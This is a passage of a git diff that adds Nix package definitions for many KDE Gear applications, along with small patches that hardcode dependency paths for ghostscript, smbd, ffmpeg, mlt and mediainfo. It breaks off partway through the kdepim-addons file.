a/pkgs/kde/gear/dolphin-plugins/default.nix b/pkgs/kde/gear/dolphin-plugins/default.nix new file mode 100644 index 0000000000000..cc88d732389f2 --- /dev/null +++ b/pkgs/kde/gear/dolphin-plugins/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "dolphin-plugins"; +} diff --git a/pkgs/kde/gear/dolphin/default.nix b/pkgs/kde/gear/dolphin/default.nix new file mode 100644 index 0000000000000..eb70e9c9d0860 --- /dev/null +++ b/pkgs/kde/gear/dolphin/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "dolphin"; +} diff --git a/pkgs/kde/gear/dragon/default.nix b/pkgs/kde/gear/dragon/default.nix new file mode 100644 index 0000000000000..0b1900203c052 --- /dev/null +++ b/pkgs/kde/gear/dragon/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "dragon"; +} diff --git a/pkgs/kde/gear/elisa/default.nix b/pkgs/kde/gear/elisa/default.nix new file mode 100644 index 0000000000000..4f4437a5794c6 --- /dev/null +++ b/pkgs/kde/gear/elisa/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtmultimedia, + vlc, +}: +mkKdeDerivation { + pname = "elisa"; + + extraBuildInputs = [qtmultimedia vlc]; +} diff --git a/pkgs/kde/gear/eventviews/default.nix b/pkgs/kde/gear/eventviews/default.nix new file mode 100644 index 0000000000000..d9d0eeb7d798d --- /dev/null +++ b/pkgs/kde/gear/eventviews/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "eventviews"; +} diff --git a/pkgs/kde/gear/falkon/default.nix b/pkgs/kde/gear/falkon/default.nix new file mode 100644 index 0000000000000..3fb5a9e16dbbe --- /dev/null +++ b/pkgs/kde/gear/falkon/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + extra-cmake-modules, + qtwebchannel, + qtwebengine, + qttools, + python3Packages, +}: +mkKdeDerivation { + pname = "falkon"; + + extraNativeBuildInputs = [qttools qtwebchannel qtwebengine]; + extraBuildInputs = [extra-cmake-modules qtwebchannel qtwebengine python3Packages.pyside6]; +} diff --git a/pkgs/kde/gear/ffmpegthumbs/default.nix b/pkgs/kde/gear/ffmpegthumbs/default.nix new file mode 100644 index 0000000000000..62bd0e10378c0 --- /dev/null +++ b/pkgs/kde/gear/ffmpegthumbs/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + ffmpeg, +}: +mkKdeDerivation { + pname = "ffmpegthumbs"; + + extraBuildInputs = [ffmpeg]; +} diff --git a/pkgs/kde/gear/filelight/default.nix b/pkgs/kde/gear/filelight/default.nix new file mode 100644 index 0000000000000..1136a3b688445 --- /dev/null +++ b/pkgs/kde/gear/filelight/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + kirigami, + kquickcharts, + qqc2-desktop-style, +}: +mkKdeDerivation { + pname = "filelight"; + + extraBuildInputs = [ + kirigami + kquickcharts + qqc2-desktop-style + ]; +} diff --git a/pkgs/kde/gear/ghostwriter/default.nix b/pkgs/kde/gear/ghostwriter/default.nix new file mode 100644 index 0000000000000..b3620992ee400 --- /dev/null +++ b/pkgs/kde/gear/ghostwriter/default.nix @@ -0,0 +1,17 @@ +{ + mkKdeDerivation, + qtsvg, + qttools, + qtwebchannel, + qtwebengine, + qt5compat, + pkg-config, + hunspell, + kdoctools, +}: +mkKdeDerivation { + pname = "ghostwriter"; + + extraNativeBuildInputs = [pkg-config kdoctools]; + extraBuildInputs = [qtsvg qttools qtwebchannel qtwebengine qt5compat hunspell]; +} diff --git a/pkgs/kde/gear/granatier/default.nix b/pkgs/kde/gear/granatier/default.nix new file mode 100644 index 0000000000000..66a763a962fee --- /dev/null +++ b/pkgs/kde/gear/granatier/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + _7zz, + qtsvg, +}: +mkKdeDerivation { + pname = "granatier"; + + extraNativeBuildInputs = [_7zz]; + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/grantlee-editor/default.nix b/pkgs/kde/gear/grantlee-editor/default.nix new file mode 100644 index 0000000000000..a80ea7d8b939e --- /dev/null +++ b/pkgs/kde/gear/grantlee-editor/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtwebengine, +}: +mkKdeDerivation { + pname = "grantlee-editor"; + + extraBuildInputs = [qtwebengine]; +} diff --git a/pkgs/kde/gear/grantleetheme/default.nix b/pkgs/kde/gear/grantleetheme/default.nix new file mode 100644 index 0000000000000..5e21e92a54e54 --- /dev/null +++ b/pkgs/kde/gear/grantleetheme/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "grantleetheme"; +} diff --git a/pkgs/kde/gear/gwenview/default.nix b/pkgs/kde/gear/gwenview/default.nix new file mode 100644 index 0000000000000..0f9e64696e387 --- /dev/null +++ b/pkgs/kde/gear/gwenview/default.nix @@ -0,0 +1,32 @@ +{ + mkKdeDerivation, + qtsvg, + qtwayland, + pkg-config, + cfitsio, + exiv2, + baloo, + kimageannotator, + lcms2, + libtiff, + wayland, + wayland-protocols, +}: +mkKdeDerivation { + pname = "gwenview"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [ + qtsvg + qtwayland + + cfitsio + exiv2 + baloo + kimageannotator + lcms2 + libtiff + wayland + wayland-protocols + ]; +} diff --git a/pkgs/kde/gear/incidenceeditor/default.nix b/pkgs/kde/gear/incidenceeditor/default.nix new file mode 100644 index 0000000000000..cf8c1e7857c4e --- /dev/null +++ b/pkgs/kde/gear/incidenceeditor/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "incidenceeditor"; +} diff --git a/pkgs/kde/gear/isoimagewriter/default.nix b/pkgs/kde/gear/isoimagewriter/default.nix new file mode 100644 index 0000000000000..daad31ea436b4 --- /dev/null +++ b/pkgs/kde/gear/isoimagewriter/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qgpgme, +}: +mkKdeDerivation { + pname = "isoimagewriter"; + + extraBuildInputs = [qgpgme]; +} diff --git a/pkgs/kde/gear/itinerary/default.nix b/pkgs/kde/gear/itinerary/default.nix new file mode 100644 index 0000000000000..29c1291320716 --- /dev/null +++ b/pkgs/kde/gear/itinerary/default.nix @@ -0,0 +1,17 @@ +{ + mkKdeDerivation, + pkg-config, + qtlocation, + qtpositioning, + shared-mime-info, + libical, +}: +mkKdeDerivation { + pname = "itinerary"; + + # FIXME: this should really be fixed at ECM level somehow + patches = [./optional-runtime-dependencies.patch]; + + extraNativeBuildInputs = [pkg-config shared-mime-info]; + extraBuildInputs = [qtlocation qtpositioning libical]; +} diff --git a/pkgs/kde/gear/itinerary/optional-runtime-dependencies.patch b/pkgs/kde/gear/itinerary/optional-runtime-dependencies.patch new file mode 100644 index 0000000000000..004122fab4c81 --- /dev/null +++ b/pkgs/kde/gear/itinerary/optional-runtime-dependencies.patch @@ -0,0 +1,15 @@ +diff --git a/CMakeLists.txt b/CMakeLists.txt +index 55ae3280..cac86220 100644 +--- a/CMakeLists.txt ++++ b/CMakeLists.txt +@@ -85,8 +85,8 @@ ecm_find_qmlmodule(QtPositioning 6.0) + ecm_find_qmlmodule(org.kde.kitemmodels 5.245) + ecm_find_qmlmodule(org.kde.prison 5.245) + ecm_find_qmlmodule(org.kde.prison.scanner 5.245) +-ecm_find_qmlmodule(org.kde.kosmindoormap 24.02 REQUIRED) +-ecm_find_qmlmodule(org.kde.kopeninghours 24.02 REQUIRED) ++ecm_find_qmlmodule(org.kde.kosmindoormap 24.02) ++ecm_find_qmlmodule(org.kde.kopeninghours 24.02) + + # runtime dependencies are build-time dependencies on Android + if (ANDROID) diff --git a/pkgs/kde/gear/juk/default.nix b/pkgs/kde/gear/juk/default.nix new file mode 100644 index 0000000000000..dec454d2385b6 --- /dev/null +++ b/pkgs/kde/gear/juk/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtsvg, + taglib, +}: +mkKdeDerivation { + pname = "juk"; + + extraBuildInputs = [qtsvg taglib]; +} diff --git a/pkgs/kde/gear/k3b/default.nix b/pkgs/kde/gear/k3b/default.nix new file mode 100644 index 0000000000000..ab6b39a2f5e47 --- /dev/null +++ b/pkgs/kde/gear/k3b/default.nix @@ -0,0 +1,53 @@ +{ + lib, + mkKdeDerivation, + pkg-config, + qtwebengine, + shared-mime-info, + libdvdread, + flac, + libmad, + libsndfile, + lame, + libvorbis, + libsamplerate, + cdrdao, + cdrtools, + dvdplusrwtools, + libburn, + normalize, + sox, + transcode, + vcdimager, +}: +mkKdeDerivation { + pname = "k3b"; + + extraNativeBuildInputs = [pkg-config shared-mime-info]; + + # FIXME: Musicbrainz 2.x???, musepack + extraBuildInputs = [ + qtwebengine + libdvdread + flac + libmad + libsndfile + lame + libvorbis + libsamplerate + ]; + + qtWrapperArgs = [ + "--prefix PATH ':' ${lib.makeBinPath [ + cdrdao + cdrtools + dvdplusrwtools + libburn + normalize + sox + transcode + vcdimager + flac + ]}" + ]; +} diff --git a/pkgs/kde/gear/kaccounts-integration/default.nix b/pkgs/kde/gear/kaccounts-integration/default.nix new file mode 100644 index 0000000000000..1b927d3e01efa --- /dev/null +++ b/pkgs/kde/gear/kaccounts-integration/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + intltool, +}: +mkKdeDerivation { + pname = "kaccounts-integration"; + + propagatedNativeBuildInputs = [intltool]; +} diff --git a/pkgs/kde/gear/kaccounts-providers/default.nix b/pkgs/kde/gear/kaccounts-providers/default.nix new file mode 100644 index 0000000000000..6cd2fd7e33046 --- /dev/null +++ b/pkgs/kde/gear/kaccounts-providers/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + intltool, + qtdeclarative, + qtwebengine, +}: +mkKdeDerivation { + pname = "kaccounts-providers"; + + extraNativeBuildInputs = [intltool]; + extraBuildInputs = [qtdeclarative qtwebengine]; +} diff --git a/pkgs/kde/gear/kaddressbook/default.nix b/pkgs/kde/gear/kaddressbook/default.nix new file mode 100644 index 0000000000000..d4e2c58200381 --- /dev/null +++ b/pkgs/kde/gear/kaddressbook/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kaddressbook"; +} diff --git a/pkgs/kde/gear/kajongg/default.nix b/pkgs/kde/gear/kajongg/default.nix new file mode 100644 index 0000000000000..651ac3b3115a6 --- /dev/null +++ b/pkgs/kde/gear/kajongg/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtsvg, + python3, +}: +mkKdeDerivation { + pname = "kajongg"; + + extraBuildInputs = [qtsvg python3 python3.pkgs.twisted]; + # FIXME: completely horked, is actually a Python app, needs a lot of fixing + meta.broken = true; +} diff --git a/pkgs/kde/gear/kalarm/default.nix b/pkgs/kde/gear/kalarm/default.nix new file mode 100644 index 0000000000000..439f922069671 --- /dev/null +++ b/pkgs/kde/gear/kalarm/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kalarm"; +} diff --git a/pkgs/kde/gear/kalgebra/default.nix b/pkgs/kde/gear/kalgebra/default.nix new file mode 100644 index 0000000000000..89aaafc04c96b --- /dev/null +++ b/pkgs/kde/gear/kalgebra/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtsvg, + qtwebengine, + ncurses, + readline, +}: +mkKdeDerivation { + pname = "kalgebra"; + + extraBuildInputs = [qtsvg qtwebengine ncurses readline]; +} diff --git a/pkgs/kde/gear/kalk/default.nix b/pkgs/kde/gear/kalk/default.nix new file mode 100644 index 0000000000000..b2cce371346ea --- /dev/null +++ b/pkgs/kde/gear/kalk/default.nix @@ -0,0 +1,25 @@ +{ + mkKdeDerivation, + qtdeclarative, + qqc2-desktop-style, + kirigami-addons, + pkg-config, + bison, + flex, + gmp, + mpfr, + libqalculate, +}: +mkKdeDerivation { + pname = "kalk"; + + extraNativeBuildInputs = [pkg-config bison flex]; + extraBuildInputs = [ + qtdeclarative + qqc2-desktop-style + kirigami-addons + gmp + mpfr + libqalculate + ]; +} diff --git a/pkgs/kde/gear/kalzium/default.nix b/pkgs/kde/gear/kalzium/default.nix new file mode 100644 index 0000000000000..7e46128dc967b --- /dev/null +++ b/pkgs/kde/gear/kalzium/default.nix @@ -0,0 +1,16 @@ +{ + mkKdeDerivation, + pkg-config, + ocaml, + eigen, + openbabel, + qtsvg, + qtscxml, +}: +mkKdeDerivation { + pname = "kalzium"; + + # FIXME: look into how to make it find libfacile + extraNativeBuildInputs = [pkg-config ocaml]; + extraBuildInputs = [eigen openbabel qtsvg qtscxml]; +} diff --git a/pkgs/kde/gear/kamera/default.nix b/pkgs/kde/gear/kamera/default.nix new file mode 100644 index 0000000000000..3ab21c99f4edd --- /dev/null +++ b/pkgs/kde/gear/kamera/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + pkg-config, + libgphoto2, +}: +mkKdeDerivation { + pname = "kamera"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [libgphoto2]; +} diff --git a/pkgs/kde/gear/kamoso/default.nix b/pkgs/kde/gear/kamoso/default.nix new file mode 100644 index 0000000000000..b83e193f31178 --- /dev/null +++ b/pkgs/kde/gear/kamoso/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kamoso"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kanagram/default.nix b/pkgs/kde/gear/kanagram/default.nix new file mode 100644 index 0000000000000..4a12b6153e150 --- /dev/null +++ b/pkgs/kde/gear/kanagram/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtspeech, +}: +mkKdeDerivation { + pname = "kanagram"; + + extraBuildInputs = [qtspeech]; +} diff --git a/pkgs/kde/gear/kapman/default.nix b/pkgs/kde/gear/kapman/default.nix new file mode 100644 index 0000000000000..2b3599ccd3f3d --- /dev/null +++ b/pkgs/kde/gear/kapman/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + _7zz, + qtsvg, +}: +mkKdeDerivation { + pname = "kapman"; + + extraNativeBuildInputs = [_7zz]; + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/kapptemplate/default.nix b/pkgs/kde/gear/kapptemplate/default.nix new file mode 100644 index 0000000000000..0559bc33e522c --- /dev/null +++ b/pkgs/kde/gear/kapptemplate/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kapptemplate"; +} diff --git a/pkgs/kde/gear/kasts/default.nix b/pkgs/kde/gear/kasts/default.nix new file mode 100644 index 0000000000000..94fa949a78d7c --- /dev/null +++ b/pkgs/kde/gear/kasts/default.nix @@ -0,0 +1,21 @@ +{ + mkKdeDerivation, + qtsvg, + qtmultimedia, + pkg-config, + qqc2-desktop-style, + taglib, + libvlc, +}: +mkKdeDerivation { + pname = "kasts"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [ + qtsvg + qtmultimedia + qqc2-desktop-style + taglib + libvlc + ]; +} diff --git a/pkgs/kde/gear/kate/default.nix b/pkgs/kde/gear/kate/default.nix new file mode 100644 index 0000000000000..044b7b35e8b5b --- /dev/null +++ b/pkgs/kde/gear/kate/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kate"; +} diff --git a/pkgs/kde/gear/katomic/default.nix b/pkgs/kde/gear/katomic/default.nix new file mode 100644 index 0000000000000..22ce4c19c216c --- /dev/null +++ b/pkgs/kde/gear/katomic/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "katomic"; +} diff --git a/pkgs/kde/gear/kbackup/default.nix b/pkgs/kde/gear/kbackup/default.nix new file mode 100644 index 0000000000000..aca459e19264a --- /dev/null +++ b/pkgs/kde/gear/kbackup/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qt5compat, + libarchive, + shared-mime-info, +}: +mkKdeDerivation { + pname = "kbackup"; + + extraNativeBuildInputs = [shared-mime-info]; + extraBuildInputs = [qt5compat libarchive]; +} diff --git a/pkgs/kde/gear/kblackbox/default.nix b/pkgs/kde/gear/kblackbox/default.nix new file mode 100644 index 0000000000000..2aba074ac5626 --- /dev/null +++ b/pkgs/kde/gear/kblackbox/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kblackbox"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/kblocks/default.nix b/pkgs/kde/gear/kblocks/default.nix new file mode 100644 index 0000000000000..e184971a9491f --- /dev/null +++ b/pkgs/kde/gear/kblocks/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kblocks"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/kbounce/default.nix b/pkgs/kde/gear/kbounce/default.nix new file mode 100644 index 0000000000000..d94cd2cbf351d --- /dev/null +++ b/pkgs/kde/gear/kbounce/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kbounce"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/kbreakout/default.nix b/pkgs/kde/gear/kbreakout/default.nix new file mode 100644 index 0000000000000..34e9e84357791 --- /dev/null +++ b/pkgs/kde/gear/kbreakout/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + _7zz, +}: +mkKdeDerivation { + pname = "kbreakout"; + + extraNativeBuildInputs = [_7zz]; +} diff --git a/pkgs/kde/gear/kbruch/default.nix b/pkgs/kde/gear/kbruch/default.nix new file mode 100644 index 0000000000000..ea034aa275b90 --- /dev/null +++ b/pkgs/kde/gear/kbruch/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kbruch"; +} diff --git a/pkgs/kde/gear/kcachegrind/default.nix b/pkgs/kde/gear/kcachegrind/default.nix new file mode 100644 index 0000000000000..9023492d17402 --- /dev/null +++ b/pkgs/kde/gear/kcachegrind/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kcachegrind"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/gear/kcalc/default.nix b/pkgs/kde/gear/kcalc/default.nix new file mode 100644 index 0000000000000..66bffedbb3c02 --- /dev/null +++ b/pkgs/kde/gear/kcalc/default.nix @@ -0,0 +1,13 @@ +{ + mkKdeDerivation, + qt5compat, + gmp, + mpfr, + kdoctools, +}: +mkKdeDerivation { + pname = "kcalc"; + + extraNativeBuildInputs = [kdoctools]; + extraBuildInputs = [qt5compat gmp mpfr]; +} diff --git a/pkgs/kde/gear/kcalutils/default.nix b/pkgs/kde/gear/kcalutils/default.nix new file mode 100644 index 0000000000000..1b58cce9ff004 --- /dev/null +++ b/pkgs/kde/gear/kcalutils/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kcalutils"; +} diff --git a/pkgs/kde/gear/kcharselect/default.nix b/pkgs/kde/gear/kcharselect/default.nix new file mode 100644 index 0000000000000..1fffb87d32cdf --- /dev/null +++ b/pkgs/kde/gear/kcharselect/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kcharselect"; +} diff --git a/pkgs/kde/gear/kclock/default.nix b/pkgs/kde/gear/kclock/default.nix new file mode 100644 index 0000000000000..97db5fd92f0eb --- /dev/null +++ b/pkgs/kde/gear/kclock/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtsvg, + qtmultimedia, +}: +mkKdeDerivation { + pname = "kclock"; + + extraBuildInputs = [qtsvg qtmultimedia]; +} diff --git a/pkgs/kde/gear/kcolorchooser/default.nix b/pkgs/kde/gear/kcolorchooser/default.nix new file mode 100644 index 0000000000000..5e82c5c2c36f2 --- /dev/null +++ b/pkgs/kde/gear/kcolorchooser/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kcolorchooser"; +} diff --git a/pkgs/kde/gear/kcron/default.nix b/pkgs/kde/gear/kcron/default.nix new file mode 100644 index 0000000000000..b1707101d49f5 --- /dev/null +++ b/pkgs/kde/gear/kcron/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kcron"; +} diff --git a/pkgs/kde/gear/kde-dev-scripts/default.nix b/pkgs/kde/gear/kde-dev-scripts/default.nix new file mode 100644 index 0000000000000..7e82f80b8114a --- /dev/null +++ b/pkgs/kde/gear/kde-dev-scripts/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kde-dev-scripts"; +} diff --git a/pkgs/kde/gear/kde-dev-utils/default.nix b/pkgs/kde/gear/kde-dev-utils/default.nix new file mode 100644 index 0000000000000..6efce8354eec9 --- /dev/null +++ b/pkgs/kde/gear/kde-dev-utils/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kde-dev-utils"; + + extraBuildInputs = [qttools]; +} diff --git a/pkgs/kde/gear/kde-inotify-survey/default.nix b/pkgs/kde/gear/kde-inotify-survey/default.nix new file mode 100644 index 0000000000000..810fa3984093c --- /dev/null +++ b/pkgs/kde/gear/kde-inotify-survey/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kde-inotify-survey"; +} diff --git a/pkgs/kde/gear/kdebugsettings/default.nix b/pkgs/kde/gear/kdebugsettings/default.nix new file mode 100644 index 0000000000000..47431c60aa2d8 --- /dev/null +++ b/pkgs/kde/gear/kdebugsettings/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdebugsettings"; +} diff --git a/pkgs/kde/gear/kdeconnect-kde/default.nix b/pkgs/kde/gear/kdeconnect-kde/default.nix new file mode 100644 index 0000000000000..fd8868cf41c2a --- /dev/null +++ b/pkgs/kde/gear/kdeconnect-kde/default.nix @@ -0,0 +1,20 @@ +{ + mkKdeDerivation, + qtconnectivity, + qtmultimedia, + qtwayland, + pkg-config, + wayland, + wayland-protocols, + libfakekey, +}: +mkKdeDerivation { + pname = "kdeconnect-kde"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtconnectivity qtmultimedia qtwayland wayland wayland-protocols libfakekey]; + + extraCmakeFlags = [ + "-DQtWaylandScanner_EXECUTABLE=${qtwayland}/libexec/qtwaylandscanner" + ]; +} diff --git a/pkgs/kde/gear/kdeedu-data/default.nix b/pkgs/kde/gear/kdeedu-data/default.nix new file mode 100644 index 0000000000000..74bc3921389c1 --- /dev/null +++ b/pkgs/kde/gear/kdeedu-data/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdeedu-data"; +} diff --git a/pkgs/kde/gear/kdegraphics-mobipocket/default.nix b/pkgs/kde/gear/kdegraphics-mobipocket/default.nix new file mode 100644 index 0000000000000..7636cbe1dd27f --- /dev/null +++ b/pkgs/kde/gear/kdegraphics-mobipocket/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qt5compat, +}: +mkKdeDerivation { + pname = "kdegraphics-mobipocket"; + + extraBuildInputs = [qt5compat]; +} diff --git a/pkgs/kde/gear/kdegraphics-thumbnailers/default.nix b/pkgs/kde/gear/kdegraphics-thumbnailers/default.nix new file mode 100644 index 0000000000000..bfb3ba1fc850f --- /dev/null +++ b/pkgs/kde/gear/kdegraphics-thumbnailers/default.nix @@ -0,0 +1,17 @@ +{ + mkKdeDerivation, + substituteAll, + ghostscript, +}: +mkKdeDerivation { + pname = "kdegraphics-thumbnailers"; + + patches = [ + # Hardcode patches to Ghostscript so PDF thumbnails work OOTB. + # Intentionally not doing the same for dvips because TeX is big. + (substituteAll { + gs = "${ghostscript}/bin/gs"; + src = ./gs-paths.patch; + }) + ]; +} diff --git a/pkgs/kde/gear/kdegraphics-thumbnailers/gs-paths.patch b/pkgs/kde/gear/kdegraphics-thumbnailers/gs-paths.patch new file mode 100644 index 0000000000000..5aa4a8d7444c9 --- /dev/null +++ b/pkgs/kde/gear/kdegraphics-thumbnailers/gs-paths.patch @@ -0,0 +1,22 @@ +diff --git a/ps/gscreator.cpp b/ps/gscreator.cpp +index 5b84e49..cbb7c25 100644 +--- a/ps/gscreator.cpp ++++ b/ps/gscreator.cpp +@@ -101,7 +101,7 @@ static const char *epsprolog = + "[ ] 0 setdash newpath false setoverprint false setstrokeadjust\n"; + + static const char * gsargs_ps[] = { +- "gs", ++ "@gs@", + "-sDEVICE=png16m", + "-sOutputFile=-", + "-dSAFER", +@@ -120,7 +120,7 @@ static const char * gsargs_ps[] = { + }; + + static const char * gsargs_eps[] = { +- "gs", ++ "@gs@", + "-sDEVICE=png16m", + "-sOutputFile=-", + "-dSAFER", diff --git a/pkgs/kde/gear/kdenetwork-filesharing/default.nix b/pkgs/kde/gear/kdenetwork-filesharing/default.nix new file mode 100644 index 0000000000000..a91dc2529503a --- /dev/null +++ b/pkgs/kde/gear/kdenetwork-filesharing/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "kdenetwork-filesharing"; + + patches = [./smbd-path.patch]; + + extraBuildInputs = [qtdeclarative]; + + # We can't actually install samba via PackageKit, so let's not confuse users any more than we have to + extraCmakeFlags = ["-DSAMBA_INSTALL=OFF"]; +} diff --git a/pkgs/kde/gear/kdenetwork-filesharing/smbd-path.patch b/pkgs/kde/gear/kdenetwork-filesharing/smbd-path.patch new file mode 100644 index 0000000000000..e6e4e73333a74 --- /dev/null +++ b/pkgs/kde/gear/kdenetwork-filesharing/smbd-path.patch @@ -0,0 +1,14 @@ +diff --git a/samba/filepropertiesplugin/sambausershareplugin.cpp b/samba/filepropertiesplugin/sambausershareplugin.cpp +index d5c8d77..11c45d4 100644 +--- a/samba/filepropertiesplugin/sambausershareplugin.cpp ++++ b/samba/filepropertiesplugin/sambausershareplugin.cpp +@@ -112,7 +112,8 @@ SambaUserSharePlugin::SambaUserSharePlugin(QObject *parent) + bool SambaUserSharePlugin::isSambaInstalled() + { + return QFile::exists(QStringLiteral("/usr/sbin/smbd")) +- || QFile::exists(QStringLiteral("/usr/local/sbin/smbd")); ++ || QFile::exists(QStringLiteral("/usr/local/sbin/smbd")) ++ || QFile::exists(QStringLiteral("/run/current-system/sw/bin/smbd")); + } + + void SambaUserSharePlugin::showSambaStatus() diff --git a/pkgs/kde/gear/kdenlive/default.nix b/pkgs/kde/gear/kdenlive/default.nix new file mode 100644 index 0000000000000..49643826b9e2c --- /dev/null +++ b/pkgs/kde/gear/kdenlive/default.nix @@ -0,0 +1,40 @@ +{ + mkKdeDerivation, + substituteAll, + qtsvg, + qtmultimedia, + qtnetworkauth, + ffmpeg-full, + mediainfo, + mlt, + shared-mime-info, + libv4l, + frei0r, +}: +mkKdeDerivation { + pname = "kdenlive"; + + patches = [ + ( + substituteAll { + src = ./dependency-paths.patch; + inherit mediainfo mlt; + ffmpeg = ffmpeg-full; + } + ) + ]; + + extraBuildInputs = [ + qtsvg + qtmultimedia + qtnetworkauth + + mlt + shared-mime-info + libv4l + ]; + + qtWrapperArgs = [ + "--set FREI0R_PATH ${frei0r}/lib/frei0r-1" + ]; +} diff --git a/pkgs/kde/gear/kdenlive/dependency-paths.patch b/pkgs/kde/gear/kdenlive/dependency-paths.patch new file mode 100644 index 0000000000000..7fd04bd5114de --- /dev/null +++ b/pkgs/kde/gear/kdenlive/dependency-paths.patch @@ -0,0 +1,46 @@ +diff --git a/src/kdenlivesettings.kcfg b/src/kdenlivesettings.kcfg +index 029849e5f..8befe4888 100644 +--- a/src/kdenlivesettings.kcfg ++++ b/src/kdenlivesettings.kcfg +@@ -517,7 +517,7 @@ + <group name="env"> + <entry name="mltpath" type="Path"> + <label>Mlt framework install path.</label> +- <default></default> ++ <default>@mlt@/share/mlt-7/profiles</default> + </entry> + + <entry name="kdenliverendererpath" type="Path"> +@@ -527,27 +527,27 @@ + + <entry name="meltpath" type="Path"> + <label>Mlt melt renderer install path.</label> +- <default></default> ++ <default>@mlt@/bin/melt</default> + </entry> + + <entry name="ffmpegpath" type="Path"> + <label>FFmpeg / Libav binary path.</label> +- <default></default> ++ <default>@ffmpeg@/bin/ffmpeg</default> + </entry> + + <entry name="ffplaypath" type="Path"> + <label>FFplay / avplay binary path.</label> +- <default></default> ++ <default>@ffmpeg@/bin/ffplay</default> + </entry> + + <entry name="ffprobepath" type="Path"> + <label>FFprobe / avprobe binary path.</label> +- <default></default> ++ <default>@ffmpeg@/bin/ffprobe</default> + </entry> + + <entry name="mediainfopath" type="Path"> + <label>mediaInfo binary path.</label> +- <default></default> ++ <default>@mediainfo@/bin/mediainfo</default> + </entry> + + <entry name="processingthreads" type="Int"> diff --git a/pkgs/kde/gear/kdepim-addons/default.nix b/pkgs/kde/gear/kdepim-addons/default.nix new file mode 100644 index 0000000000000..66c24a91bdeed --- /dev/null +++ b/pkgs/kde/gear/kdepim-addons/default.nix @@ -0,0 +1,35 @@ +{ + mkKdeDerivation, + sources, + rustPlatform, + cargo, + rustc, + corrosion, + discount, + alpaka, + # provided as callPackage input to enable easier overrides through overlays + cargoHash ? "sha256-z2W2TxyN6Ye+KUaqz5nPAG5zxeABu/UXWuz+XpDpNfc=", +}: +mkKdeDerivation rec { + pname = "kdepim-addons"; + + 